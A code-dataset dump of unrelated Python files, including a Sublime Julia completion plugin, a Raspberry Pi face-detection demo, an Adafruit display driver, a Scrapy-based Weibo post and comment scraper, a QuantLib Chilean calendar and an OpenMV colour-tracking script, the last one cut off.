view.substr(ret)\n\n\ndef normalize_completion(symbols):\n return sublime.CompletionList(\n (sublime.CompletionItem(\n trigger=s[0],\n completion=s[1],\n annotation=s[1],\n kind=sublime.KIND_AMBIGUOUS)\n for s in symbols),\n flags=sublime.INHIBIT_WORD_COMPLETIONS | sublime.INHIBIT_EXPLICIT_COMPLETIONS)\n\n\nclass JuliaUnicodeListener(JuliaUnicodeMixin, sublime_plugin.EventListener):\n\n def should_complete(self, view, pt):\n if view.score_selector(pt, \"source.julia\") > 0:\n return True\n elif view.settings().get('is_widget') and \\\n view.window().active_view().match_selector(pt, \"source.julia\"):\n return True\n else:\n return False\n\n def on_query_completions(self, view, prefix, locations):\n if not self.should_complete(view, locations[0]):\n return None\n\n prefix = self.look_command_backward(view, locations[0])\n if not prefix:\n return None\n\n ret = [s for s in latex_symbols if s[0].startswith(prefix)]\n if not ret:\n ret = [s for s in emoji_symbols if s[0].startswith(prefix)]\n\n return normalize_completion(ret)\n","sub_path":"unicode.py","file_name":"unicode.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"168355924","text":"import proj1.member.mem_service as ms\nimport proj1.board.board_service as bs\n\nclass Board_Menu:\n def __init__(self, id, pwd, addr, enc):\n self.service = bs.Service(id, pwd, addr, enc)\n\n def run(self):\n if ms.Service.login_id == None:\n print('로그인 먼저 하시오')\n return\n\n print('게시판 메뉴')\n while True:\n mm = int(input('1.글작성 2.번호검색 3.작성자검색 4.제목검색 5.수정 6.삭제 7.전체목록 8.종료'))\n if mm==1:\n self.service.addBoard()\n elif mm==2:\n self.service.getByNum()\n elif mm==3:\n self.service.getByWriter()\n elif mm==4:\n self.service.getByTitle()\n elif mm==5:\n self.service.editBoard()\n elif mm==6:\n self.service.delBoard()\n elif mm == 7:\n self.service.getAll()\n elif mm == 8:\n break","sub_path":"board/board_menu.py","file_name":"board_menu.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"59248854","text":"#!/usr/bin/env python3\n\n\n\"\"\"Camera inference face detection demo code.\n\nRuns continuous face detection on the VisionBonnet and prints the number of\ndetected faces.\n\nExample:\nface_detection_camera.py --num_frames 10\n\"\"\"\nimport argparse\n\nfrom picamera import PiCamera\n\nfrom aiy.vision.inference import CameraInference\nfrom aiy.vision.models import object_detection\nfrom aiy.vision.models import face_detection\nfrom aiy.vision.annotator import Annotator\n\n\ndef avg_joy_score(faces):\n if faces:\n return sum(face.joy_score for face in faces) / len(faces)\n return 0.0\n\ndef main():\n \"\"\"Face detection camera inference example.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--num_frames', '-n', type=int, dest='num_frames', default=None,\n help='Sets the number of frames to run for, otherwise runs forever.')\n parser.add_argument('--sparse', '-s', action='store_true', default=False,\n help='Use sparse tensors.')\n parser.add_argument('--threshold', '-t', type=float, default=0.3,\n help='Detection probability threshold.')\n parser.add_argument('--cam_width', type=int, default=1640,\n help='Camera Width')\n parser.add_argument('--cam_height', type=int, default=1232,\n help='Camera Height')\n parser.add_argument('--fps', type=int, default=30,\n help='Camera Frames Per Second')\n args = parser.parse_args()\n\n # Forced sensor mode, 1640x1232, full FoV. See:\n # https://picamera.readthedocs.io/en/release-1.13/fov.html#sensor-modes\n # This is the resolution inference run on.\n with PiCamera(sensor_mode=4, resolution=(args.cam_width, args.cam_height), framerate=args.fps) as camera:\n camera.start_preview()\n \n width = args.cam_width\n height = args.cam_height\n\n # Annotator renders in software so use a smaller size and scale results\n # for increased performace.\n annotator = Annotator(camera, dimensions=(320, 240))\n scale_x = 320 / width\n scale_y = 240 / height\n \n size = min(width, height)\n offset = (((width - size) / 2), ((height - size) / 2))\n\n # Incoming boxes are of the form (x, y, width, height). Scale and\n # transform to the form (x1, y1, x2, y2).\n def transform(bounding_box):\n x, y, width, height = bounding_box\n return (scale_x * x, scale_y * y, scale_x * (x + width),\n scale_y * (y + height))\n while True:\n with CameraInference(face_detection.model()) as inference, \\\n CameraInference(object_detection.model()) as inference2:\n \n for result in inference.run(args.num_frames):\n faces = face_detection.get_faces(result)\n annotator.clear()\n for face in faces:\n annotator.bounding_box(transform(face.bounding_box), fill=0)\n #annotator.update()\n\n print('#%05d (%5.2f fps): num_faces=%d, avg_joy_score=%.2f' %\n (inference.count, inference.rate, len(faces), avg_joy_score(faces)))\n \n for result in inference2.run(args.num_frames):\n objects = object_detection.get_objects(result, args.threshold, offset)\n \n #annotator.clear()\n for i, obj in enumerate(objects):\n annotator.bounding_box(transform(obj.bounding_box), fill=0)\n print('Object #%d: %s' % (i, obj))\n \n annotator.update()\n\n camera.stop_preview()\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"facedetection/multiple_inference.py","file_name":"multiple_inference.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"120855929","text":"# The MIT License (MIT)\n#\n# Copyright (c) 2019 Melissa LeBlanc-Williams for Adafruit Industries LLC\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\"\"\"\n`adafruit_featherwing.minitft_featherwing`\n====================================================\n\nHelper for using the `Mini Color TFT with Joystick FeatherWing\n`_.\n\n* Author(s): Melissa LeBlanc-Williams\n\"\"\"\n\n__version__ = \"0.0.0-auto.0\"\n__repo__ = \"https://github.com/adafruit/Adafruit_CircuitPython_FeatherWing.git\"\n\nfrom collections import namedtuple\nimport board\nfrom micropython import const\nfrom adafruit_seesaw.seesaw import Seesaw\nfrom adafruit_seesaw.pwmout import PWMOut\nimport displayio\nfrom adafruit_st7735r import ST7735R\n\nBUTTON_RIGHT = const(7)\nBUTTON_DOWN = const(4)\nBUTTON_LEFT = const(3)\nBUTTON_UP = const(2)\nBUTTON_SEL = const(11)\nBUTTON_A = const(10)\nBUTTON_B = const(9)\n\nButtons = namedtuple(\"Buttons\", \"up down left right a b select\")\n\n\nclass MiniTFTFeatherWing:\n \"\"\"Class representing an `Mini Color TFT with Joystick FeatherWing\n `_.\n\n Automatically uses the feather's I2C bus.\"\"\"\n\n _button_mask = (\n (1 << BUTTON_RIGHT)\n | (1 << BUTTON_DOWN)\n | (1 << BUTTON_LEFT)\n | (1 << BUTTON_UP)\n | (1 << BUTTON_SEL)\n | (1 << BUTTON_A)\n | (1 << BUTTON_B)\n )\n # pylint: disable-msg=too-many-arguments\n def __init__(self, address=0x5E, i2c=None, spi=None, cs=None, dc=None):\n displayio.release_displays()\n if i2c is None:\n i2c = board.I2C()\n if spi is None:\n spi = board.SPI()\n if cs is None:\n cs = board.D5\n if dc is None:\n dc = board.D6\n self._ss = Seesaw(i2c, address)\n self._ss.pin_mode_bulk(self._button_mask, self._ss.INPUT_PULLUP)\n self._ss.pin_mode(8, self._ss.OUTPUT)\n self._ss.digital_write(8, True) # Reset the Display via Seesaw\n self._backlight = PWMOut(self._ss, 5)\n self._backlight.duty_cycle = 0\n display_bus = displayio.FourWire(spi, command=dc, chip_select=cs)\n self.display = ST7735R(\n display_bus, width=160, height=80, colstart=24, rotation=270, bgr=True\n )\n\n # pylint: enable-msg=too-many-arguments\n\n @property\n def backlight(self):\n \"\"\"\n Return the current backlight duty cycle value\n \"\"\"\n return self._backlight.duty_cycle / 255\n\n @backlight.setter\n def backlight(self, brightness):\n \"\"\"\n Set the backlight duty cycle\n \"\"\"\n self._backlight.duty_cycle = int(255 * min(max(brightness, 0.0), 1.0))\n\n @property\n def buttons(self):\n \"\"\"\n Return a set of buttons with current push values\n \"\"\"\n try:\n button_values = self._ss.digital_read_bulk(self._button_mask)\n except OSError:\n return Buttons(\n *[\n False\n for button in (\n BUTTON_UP,\n BUTTON_DOWN,\n BUTTON_LEFT,\n BUTTON_RIGHT,\n BUTTON_A,\n BUTTON_B,\n BUTTON_SEL,\n )\n ]\n )\n return Buttons(\n *[\n not button_values & (1 << button)\n for button in (\n BUTTON_UP,\n BUTTON_DOWN,\n BUTTON_LEFT,\n BUTTON_RIGHT,\n BUTTON_A,\n BUTTON_B,\n BUTTON_SEL,\n )\n ]\n )\n","sub_path":"adafruit_featherwing/minitft_featherwing.py","file_name":"minitft_featherwing.py","file_ext":"py","file_size_in_byte":4699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"444867667","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.selector import Selector\nfrom scrapy import Request\nimport datetime\nimport pymongo\nimport time\nimport lxml\nfrom weiboSpider.items import weiboItem, zhuanfaItem,pinglunItem\nimport json\nfrom scrapy.spiders import Spider\nimport redis\nimport logging\nfrom lxml import html\nimport regex as re\nfrom lxml import html\nimport requests\nimport os\nimport scrapy.spidermiddlewares.httperror\n\n\ndef get_time(w_time):\n now_time = datetime.datetime.now()\n pubtime = \"\"\n if \"分钟\" in w_time:\n minute = re.findall(\"\\d*?(?=分钟)\", w_time)\n if len(minute):\n pubtime = now_time - datetime.timedelta(minutes=int(minute[0]))\n pubtime = pubtime.strftime(\"%Y-%m-%d %H:%M\")\n elif \"今天\" in w_time:\n\n hour, minute = re.findall(\"(?<=今天 )\\d{2}:\\d{2}\", w_time)[0].split(\":\")\n if hour and minute:\n pubtime = now_time.strftime(\"%Y-%m-%d\") + \" \" + hour + \":\" + minute\n elif \"月\" in w_time and \"日\" in w_time:\n time = re.findall(\"\\d{1,2}月\\d{2}日 \\d{2}:\\d{2}\", w_time)\n if len(time):\n pubtime = datetime.datetime.strptime(\"2017 \" + time[0], \"%Y %m月%d日 %H:%M\").strftime(\"%Y-%m-%d %H:%M\")\n\n elif len(re.findall(\"\\d{4}-\\d{1,2}-\\d{1,2} \\d{2}:\\d{2}\", w_time)):\n pubtime = re.findall(\"\\d{4}-\\d{1,2}-\\d{1,2} \\d{2}:\\d{2}\", w_time)[0]\n\n return pubtime\n\n\ndef get_str(weibo_content):\n weibo_str = ''\n for field in weibo_content:\n if isinstance(field, lxml.etree._ElementUnicodeResult):\n weibo_str += field\n elif field.tag == 'img':\n if field.attrib.get('class') == 'W_img_face':\n weibo_str += field.attrib['alt']\n elif field.tag == 'a':\n if field.attrib.get('render') == 'ext':\n if weibo_str[-2:] == '//':\n weibo_str = weibo_str[:-2]\n break\n weibo_str += field.xpath('string(.)')\n if field.attrib.get('class') in ['W_btn_c6', 'video_link']:\n break\n return weibo_str\n\n\ndef remov_emoji(text):\n emoji_pattern = re.compile(\n r\"(\\\\ud83d......)|\" \n r\"(\\\\ud83c......)|\" \n r\"(\\\\ud83d......)|\" \n r\"(\\\\ud83d......)|\" \n r\"(\\\\ud83c......)\" \n \"+\", flags=re.UNICODE)\n return emoji_pattern.sub(\"\",text)\n\nkeyword='校园贷'\nclass WeiboSpider(Spider):\n\n clinet = pymongo.MongoClient(\"localhost\", 27017)\n db = clinet[\"PCweibo\"]\n weibo_infrom = db[\"weibo\"]\n pinglun_inform = db[\"pinglun\"]\n zhuanfa_inform = db[\"zhuanfa\"]\n # proxies = {\n # \"http\": \"http://duoipesssplhp:1g3Z6uwIcoI4X@ip4.hahado.cn:32926\",\n # \"https\": \"http://duoipesssplhp:1g3Z6uwIcoI4X@ip4.hahado.cn:32926\",\n # }\n name = 'xiaoyuandai'\n allowed_domains = ['http://s.weibo.com', \"https://weibo.com\",'s.weibo.com','weibo.com']\n\n nowTime = datetime.datetime.now()\n clinet = pymongo.MongoClient(\"localhost\", 27017)\n db = clinet[\"PCweibo\"]\n infor_col = db[\"Information\"]\n\n def start_requests(self):\n url = 'http://s.weibo.com/weibo/{}&scope=ori&suball=1×cope=custom::{}'.format(keyword,'2016-05-31')\n yield Request(url=url, callback=self.parse, meta={\"flag\": 1},\n )\n start_time = datetime.datetime.strptime(\"2016-05-31\", \"%Y-%m-%d\")\n while start_time < datetime.datetime.strptime(\"2017-12-31\", \"%Y-%m-%d\"):\n start_time_str = start_time.strftime(\"%Y-%m-%d\")\n\n url = 'http://s.weibo.com/weibo/{}&scope=ori&suball=1×cope=custom:{}:{}'.format(keyword,\n start_time_str, start_time_str)\n yield Request(url=url, callback=self.parse, meta={\"flag\": 1,'start_time':start_time_str})\n start_time = start_time + datetime.timedelta(days=1)\n\n # text_url = 'http://s.weibo.com/weibo/%25E5%2580%259F%25E8%25B4%25B7%25E5%25AE%259D&scope=ori&suball=1×cope=custom:2015-11-26:2015-11-26'\n # yield Request(url=text_url, callback=self.parse, meta={\"flag\": 1,'start_time':'2015-11-26'})\n\n\n def parse(self, response):\n flag = response.meta.get('flag')\n try:\n html_content = html.fromstring(\n re.search(r'\"pid\":\"pl_weibo_direct\".*?\"html\":\"(.*?)\"}\\)', response.text).group(1).replace(r\"\\n\",\n \"\").replace(\n r\"\\t\", \"\").replace(r'\\\"', '\"').replace(r\"\\/\", \"/\"))\n except:\n print(response.text)\n\n weibos = html_content.xpath(\"//div[@class='WB_cardwrap S_bg2 clearfix']/div\")\n # print(response.text)\n if flag:\n ul = html_content.xpath(\"//div[@class='layer_menu_list W_scroll']/ul/li\")\n print(response.meta.get('start_time'))\n if len(ul) >=49 and response.meta.get('start_time'):\n start_time = response.meta.get('start_time')\n print(\"这一天大于49页 {}:{}\".format(keyword,start_time))\n for i in range(24):\n xiaoshi_url ='http://s.weibo.com/weibo/{}&scope=ori&suball=1×cope=custom:{}:{}'.format(keyword,\n start_time+'-{}'.format(i), start_time+'-{}'.format(i))\n yield Request(url=xiaoshi_url, callback=self.parse, meta={\"flag\": 1, })\n\n\n\n return\n else:\n for li in ul:\n if not li.attrib.get('class'):\n next_url = 'http://s.weibo.com/'+li.find('a').attrib.get('href')\n yield Request(url=next_url, callback=self.parse)\n for weibo in weibos:\n feed_from = weibo.xpath(\".//div[@class='feed_from W_textb']/a[@class='W_textb']\")[-1]\n w_time = feed_from.attrib['title']\n\n weibo_url = 'https:' + feed_from.attrib['href']\n mid = weibo.attrib.get('mid')\n lis = weibo.xpath(\".//ul[@class='feed_action_info feed_action_row4']/li\")\n zhuanfa_num = lis[1].xpath(\"string(.)\").encode('utf8').decode('unicode_escape')\n pinglun_num = lis[2].xpath(\"string(.)\").encode('utf8').decode('unicode_escape')\n if zhuanfa_num != '转发':\n zhuanfa_num = zhuanfa_num[2:]\n zhuanfa_url = \"https://weibo.com/aj/v6/mblog/info/big?ajwvr=6&id={}&filter=0\".format(mid)\n yield Request(url=zhuanfa_url, callback=self.zhuanfa_parse,meta={'mid':mid},\n )\n else:\n zhuanfa_num = 0\n if pinglun_num != '评论':\n pinglun_num = pinglun_num[2:]\n pinglun_url = \"https://weibo.com/aj/v6/comment/big?ajwvr=6&id={}&filter=all&from=singleWeiBo\".format(mid)\n yield Request(url=pinglun_url, callback=self.pinglun_parse,meta={'mid':mid},\n )\n else:\n pinglun_num = 0\n weibo_content = weibo.xpath(\".//div[@class='content clearfix']/div[@class='feed_content wbcon']/p[@class='comment_txt']\")[0].xpath(\"./*|./text()\")\n weibo_str = ''\n for field in weibo_content:\n if isinstance(field, lxml.etree._ElementUnicodeResult):\n weibo_str += field\n elif field.tag == 'em':\n weibo_str += field.xpath('string(.)')\n elif field.tag == 'img':\n if field.attrib.get('class') == 'W_img_face':\n weibo_str += field.attrib['alt']\n elif field.tag == 'a':\n if field.attrib.get('class') == 'a_topic W_linkb':\n weibo_str += field.xpath('string(.)')\n if field.attrib.get('class') == 'W_linkb':\n if weibo_str[-2:] == '//':\n weibo_str = weibo_str[:-2]\n break\n weibo_str += field.xpath('string(.)')\n if field.attrib.get('class') in ['W_btn_c6', 'video_link']:\n break\n # 'http://s.weibo.com/ajax/comment/small?act=list&mid={}&smartFlag=false&smartCardComment=&isMain=true&_t=0&{}'.format(mid,)\n weibo_str = remov_emoji(weibo_str.strip()).encode('utf8').decode('unicode_escape')\n weiboitem = weiboItem()\n weiboitem['w_time'] =w_time\n weiboitem['weibo_url'] =weibo_url\n weiboitem['mid'] =mid\n weiboitem['zhuanfa_num'] =zhuanfa_num\n weiboitem['pinglun_num'] =pinglun_num\n weiboitem['keyword'] =keyword\n weiboitem['weibo_str'] =weibo_str.replace('\\n',\"\").replace('\\u200b',\"\")\n yield weiboitem\n\n def zhuanfa_parse(self, response):\n mid = response.meta['mid']\n zhuanfa_json = json.loads(response.text)\n if zhuanfa_json['code'] == '100000':\n print('请求转发成功')\n # print(zhuanfa_json['data']['html'])\n zhuanfa_content = html.fromstring(zhuanfa_json['data']['html'])\n zhuanfas = zhuanfa_content.xpath(\"//div[@class='list_li S_line1 clearfix']\")\n\n for zhuanfa in zhuanfas:\n zhuanfa_mid = zhuanfa.attrib.get('mid')\n # print(zhuan_mid)\n zhuanfa_time = zhuanfa.xpath(\n \".//div[@class='WB_func clearfix']/div[@class='WB_from S_txt2']/a[@class='S_txt1']/@title\")[\n 0]\n zhuanfa_str = zhuanfa.xpath(\".//div[@class='WB_text']/span[@node-type='text']\")[0].xpath(\n \"./*|./text()\")\n zhuanfa_str = get_str(zhuanfa_str)\n zhuanfaitem = zhuanfaItem()\n zhuanfaitem['zhuanfa_time'] = zhuanfa_time\n zhuanfaitem['mid'] = mid\n zhuanfaitem['keyword'] = keyword\n zhuanfaitem['zhuanfa_mid'] = zhuanfa_mid\n zhuanfaitem['zhuanfa_str'] = zhuanfa_str.replace(r'\\n',\"\")\n yield zhuanfaitem\n\n\n has_next = zhuanfa_content.find_class(\"page next S_txt1 S_line1\")\n if has_next:\n sub_next_url = has_next[0].find('span').attrib.get('action-data')\n next_url = \"https://weibo.com/aj/v6/mblog/info/big?ajwvr=6&{}\".format(sub_next_url)\n # print(next_url)\n yield Request(url=next_url, callback=self.zhuanfa_parse, meta={'mid': mid},\n )\n\n def pinglun_parse(self, response):\n mid = response.meta['mid']\n # print(pinglun_json)\n pinglun_json = json.loads(response.text)\n if pinglun_json['code'] == '100000':\n print('请求评论成功')\n # print(pinglun_json['data']['html'])\n pinglun_content = html.fromstring(pinglun_json['data']['html'])\n pingluns = pinglun_content.xpath(\"//div[@class='list_li S_line1 clearfix']\")\n for pinglun in pingluns:\n comment_id = pinglun.attrib.get('comment_id')\n pinglun_time = pinglun.xpath(\n \".//div[@class='WB_func clearfix']/div[@class='WB_from S_txt2']\")[0].text_content()\n pinglun_time = get_time(pinglun_time)\n # print(comment_id,pinglun_time)\n pinglun_str = pinglun.xpath(\".//div[@class='WB_text']\")[0].xpath(\"./*|./text()\")\n pinglun_str = get_str(pinglun_str).replace(' :', \"\")\n # print(pinglun_str)\n pinglunitem = pinglunItem()\n pinglunitem['pinglun_time'] = pinglun_time\n pinglunitem['mid'] = mid\n pinglunitem['keyword'] = keyword\n pinglunitem['comment_id'] = comment_id\n pinglunitem['pinglun_str'] = pinglun_str.replace('\\n',\"\")\n yield pinglunitem\n\n # has_comment_next = pinglun_content.xpath(\"//a[@class='WB_cardmore S_txt1 S_line1 clearfix']\")\n has_comment_next = re.findall('action-data=\"(id={}.*?)\"'.format(mid), pinglun_json['data']['html'])\n if has_comment_next:\n next_comment_url = \"https://weibo.com/aj/v6/comment/big?ajwvr=6&{}&from=singleWeiBo\".format(has_comment_next[-1])\n yield Request(url=next_comment_url, callback=self.pinglun_parse, meta={'mid': mid},\n )\n","sub_path":"weiboSpider/spiders/xiaoyuandai.py","file_name":"xiaoyuandai.py","file_ext":"py","file_size_in_byte":12526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"514735255","text":"from flask_restful import Resource, reqparse\nfrom flask import jsonify, make_response\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom flasgger import swag_from\n\nfrom src.DbHandler import DbHandler\n\nparser = reqparse.RequestParser(bundle_errors=True)\nparser.add_argument(\n 'new_categories', type=str,\n action='append'\n)\n\n\nclass LinksUpdateCategory(Resource):\n @jwt_required\n @swag_from('../../yml/links_update_category.yml')\n def put(self, id):\n \"\"\" Update categories related to Link ID. \"\"\"\n current_user_username = get_jwt_identity()\n args = parser.parse_args()\n new_categories = args['new_categories']\n\n update_status = DbHandler.update_link_categories(\n current_user_username, new_categories, id)\n\n if update_status == 'LINK_NOT_FOUND':\n return make_response(\n jsonify(msg=\"Link ID not found!\"),\n 404\n )\n else:\n return make_response(\n jsonify(msg=\"Categories updated.\"),\n 200\n )\n","sub_path":"resources/links/LinksUpdateCategory.py","file_name":"LinksUpdateCategory.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"512960458","text":"\"\"\"\nAuthor: Jose Melo\nAuxiliary functions. This file contains an adaptation to include the Chilean calendar and PyOberser,\na helper class to make object be able to recieve update notifications from QuantLib objects\n\"\"\"\n\nimport QuantLib as ql\r\nimport pandas as pd\r\nfrom datetime import datetime\r\n\r\n#Creates Chile's calendar.\r\ndef CalendarCl(start_year,n_years):\r\n Chile = ql.WeekendsOnly()\r\n days = [1,14,15,1,21,26,2,16,15,18,19,9,27,1,19,8,17,25,31]\r\n months = [1,4,4,5,5,6,8,9,9,10,10,11,12,12,12,12]\r\n name = ['Año Nuevo','Viernes Santo','Sabado Santo','Dia del Trabajo','Dia de las Glorias Navales','San Pedro y San Pablo','Elecciones Primarias','Dia de la Virgen del Carmen','Asuncion de la Virgen','Independencia Nacional','Glorias del Ejercito','Encuentro de dos mundos','Día de las Iglesias Evangélicas y Protestantes','Día de todos los Santos','Elecciones Presidenciales y Parlamentarias','Inmaculada Concepción','Segunda vuelta Presidenciales','Navidad','Feriado Bancario']\r\n for i in range(n_years+1):\r\n for x,y in zip(days,months):\r\n date = ql.Date(x,y,start_year+i)\r\n Chile.addHoliday(date)\r\n return Chile\r\n#Class for maintaning QL Observer capabilities.\r\nclass PyObserver(ql.Observer):\r\n def __init__(self):\r\n super(PyObserver, self).__init__(self.update)\r\n self.fn = None\r\n def update(self):\r\n self.fn()\r\n","sub_path":"CLAux.py","file_name":"CLAux.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"220432352","text":"import app\n\n\"\"\"\nUtility to add a new URL field to the Track table in the db\n\"\"\"\n\ntable_name = 'Track' # name of the table\nnew_column = 'url' # name of the new column\ncolumn_type = 'TEXT'\ndefault_val = ''\n\n# Connecting to the database file\nconn = app.create_connection()\ncursor = conn.cursor()\n\n# Adding a new column with a default row value\ncursor.execute(\"ALTER TABLE {tn} ADD COLUMN '{cn}' {ct} DEFAULT '{df}'\"\n .format(tn=table_name, cn=new_column, ct=column_type, df=default_val))\n\n# Committing changes and closing the connection to the database file\nconn.commit()\nconn.close()","sub_path":"utils/add_url_field.py","file_name":"add_url_field.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"458646471","text":"\ns = str(input())\n\nstacka = []\nstackb = []\n\ns = list(s)\nflaga = True\nflagb = True\n\n\n# () [] 연속으로 된 것 숫자 변환\n\nfor i in range(len(s)-1):\n if s[i] is '(' and s[i+1] is ')':\n stacka.append(i)\n i+=1\n elif s[i] is '[' and s[i+1] is ']':\n stackb.append(i)\n i+=1\nstackalen = len(stacka)\nstackblen = len(stackb)\nfor i in range(stackalen):\n indexa = stacka.pop()\n s[indexa] = 2\n s[indexa+1] = 0\nfor i in range(stackblen):\n indexb = stackb.pop()\n s[indexb] = 3\n s[indexb+1] =0\nfor i in range(stackalen+stackblen):\n s.remove(0)\n\nwhile flaga is True or flagb is True:\n#숫자 변환된것 연속되면 더하기\n flaga = True\n flagb = True\n for i in range(len(s) - 1):\n if type(s[i]) is int and type(s[i + 1]) is int:\n stacka.append(i)\n i+=1\n stackalen = len(stacka)\n if stackalen is 0 :\n flaga = False\n for i in range(stackalen):\n indexa = stacka.pop()\n s[indexa] = s[indexa] + s[indexa+1]\n s[indexa+1] = 0\n\n for i in range(stackalen):\n s.remove(0)\n\n\n for i in range(len(s)-2):\n if s[i] is '(' and type(s[i+1]) is int and s[i+2] is ')':\n stacka.append(i)\n i+=2\n elif s[i] is '[' and type(s[i+1]) is int and s[i+2] is ']':\n stackb.append(i)\n i+=2\n\n stackalen = len(stacka)\n stackblen = len(stackb)\n if stackalen is 0 and stackblen is 0 :\n flagb = False\n for i in range(stackalen):\n indexa = stacka.pop()\n s[indexa] = s[indexa+1]*2\n s[indexa+1] = 0\n s[indexa+2] = 0\n for i in range(stackblen):\n indexb = stackb.pop()\n s[indexb] = s[indexb + 1] * 3\n s[indexb + 1] = 0\n s[indexb + 2] = 0\n for i in range(stackalen+stackblen):\n s.remove(0)\n s.remove(0)\n\nif len(s) > 1:\n print(0)\nelse:\n print(s[0])\n","sub_path":"2504_sol.py","file_name":"2504_sol.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"429160507","text":"# Project ATLAS Beacon Detectoin Platform\n#\n# This example shows off multi color blob tracking using the OpenMV Cam.\n\nimport pyb, sensor, image, time, math, ustruct\n\n\n# Color Tracking Thresholds (L Min, L Max, A Min, A Max, B Min, B Max)\n# The below thresholds track pink, lime, and orange.\n# At the moment, the thresholds must be set manually.\nthresholds = [(0, 1, 0, 1, 0, 1), # pink_thresholds\n (20, 95, -50, -10, -5, 35), # lime_thresholds\n (0, 1, 0, 1, 0, 1)] # orange_thresholds\n# You may pass up to 16 thresholds above. However, it's not really possible to segment any\n# scene with 16 thresholds before color thresholds start to overlap heavily.\n\nuart = pyb.UART(3, 115200, timeout_char=1000) # init with given baudrate\nuart.init(115200, bits=8, parity=None, stop=1, timeout_char=1000) # init with given parameters\n\nsensor.reset()\nsensor.set_pixformat(sensor.RGB565)\nsensor.set_framesize(sensor.QVGA)\nsensor.skip_frames(time = 2000)\nsensor.set_auto_gain(False) # must be turned off for color tracking\nsensor.set_auto_whitebal(False) # must be turned off for color tracking\nclock = time.clock()\n\n# Initializing onboard LED. For testing purposes only.\n\nred_led = pyb.LED(1)\ngreen_led = pyb.LED(2)\nblue_led = pyb.LED(3)\n\n# Only blobs that with more pixels than \"pixel_threshold\" and more area than \"area_threshold\" are\n# returned by \"find_blobs\" below. Change \"pixels_threshold\" and \"area_threshold\" if you change the\n# camera resolution. Don't set \"merge=True\" becuase that will merge blobs which we don't want here.\n\nwhile(True):\n clock.tick()\n img = sensor.snapshot()\n color = 0;\n for blob in img.find_blobs(thresholds, pixels_threshold=2000, area_threshold=200):\n\n # These values depend on the blob not being circular - otherwise they will be shaky.\n if blob.elongation() > 0.5:\n img.draw_edges(blob.min_corners(), color=(255,0,0))\n img.draw_line(blob.major_axis_line(), color=(0,255,0))\n img.draw_line(blob.minor_axis_line(), color=(0,0,255))\n # These values are stable all the time.\n img.draw_rectangle(blob.rect())\n img.draw_cross(blob.cx(), blob.cy())\n # Note - the blob rotation is unique to 0-180 only.\n img.draw_keypoints([(blob.cx(), blob.cy(), int(math.degrees(blob.rotation())))], size=20)\n\n cx = blob.cx()\n cy = blob.cy()\n #desiredx = 160\n #desiredy = 120\n #yaw = 1 # 0: Left ; 1: No move ; 2: Right\n #pitch = 1 # 0: Down ; 1: No Move ; 2: Up\n\n #if cx < desiredx:\n #yaw = 0\n #if cx > desiredx:\n #yaw = 2\n #if cx < 170 and cx > 150:\n #yaw = 1\n\n #if cy < desiredy:\n #pitch = 0\n #if cy > desiredy:\n #pitch = 2\n #if cy < 130 and cy > 110:\n #pitch = 1\n\n # no color 0\n # pink 1\n # orange 2\n # lime 3\n\n if blob.code() == 1:\n red_led.on()\n color = 1;\n else:\n red_led.off()\n if blob.code() == 2:\n green_led.on()\n color = 2;\n else:\n green_led.off()\n if blob.code() == 4:\n blue_led.on()\n color = 3;\n else:\n blue_led.off()\n if color == 0:\n #yaw = 1;\n #pitch = 1;\n cx = 0;\n cy = 0;\n red_led.off()\n green_led.off()\n blue_led.off()\n\n uart.write(\"<\")\n uart.write(\"%d\"%color)\n uart.write(\",\")\n uart.write(\"%d\"%cx)\n uart.write(\",\")\n uart.write(\"%d\"%cy)\n uart.write(\">\")\n print(\"<\",color,\" ,\", cx,\" ,\",cy,\">\")\n","sub_path":"colordetectionUARTFinal.py","file_name":"colordetectionUARTFinal.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"235056705","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 13 18:53:47 2020\r\n\r\n@author: Hp\r\n\"\"\"\r\nfrom skimage.io import imread\r\nfrom skimage.filters import 